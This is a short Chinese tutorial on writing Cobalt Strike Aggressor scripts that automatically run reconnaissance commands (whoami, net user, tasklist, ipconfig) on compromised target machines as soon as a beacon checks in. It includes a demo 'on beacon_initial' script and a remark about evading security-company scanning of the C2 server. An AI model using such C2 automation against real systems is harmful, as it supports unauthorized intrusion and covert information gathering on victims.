为何要自动化?
你是否遇到过CS只上线几分钟又下线的情况,这种情况可能是安全公司扫描自动CS上线的,当然这并不是我们的重点,因为做个IP过滤或改一下CS就好了。重点是另外一个原因就是目标某些机器临时接入网络,所以我们会看到只上线一会儿。或者说就算上线一两个小时,而此时你正在做其它事,来不及看,等回来时机器已下线。因此自动化收集信息是有必要的,或者说有很多机器需要更新CS,如3.X转移到4.X,你一台一台换,等下班了都换不了几台,如果有些机器在不定时且是你休息时间才上线,难道你每天都在等它上线吗?
首先我们来看下CNA是如何执行命令的。首先是执行系统自带CMD命令,采用bshell,如执行whoami,脚本代码如下
执行CMD
bshell($1,"whoami");
执行多条CMD可用&符号连接
bshell($1,"whoami&net user&tasklist");
也可以写多行bshell代码
bshell($1,"whoami");
bshell($1,"net user");
bshell($1,"ipconfig")
自动化Demo
#Initial GetInfo
#by K8gege
on beacon_initial {
#println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
blog($1,"Auto GetInfo");
bshell($1,"net user");
#bshell($1,"whoami&net user&tasklist");
#$process = exec("whoami");
}
测试脚本
以上代码保存为auto.cna文件,工具栏–Cobalt Strike–Script Mannge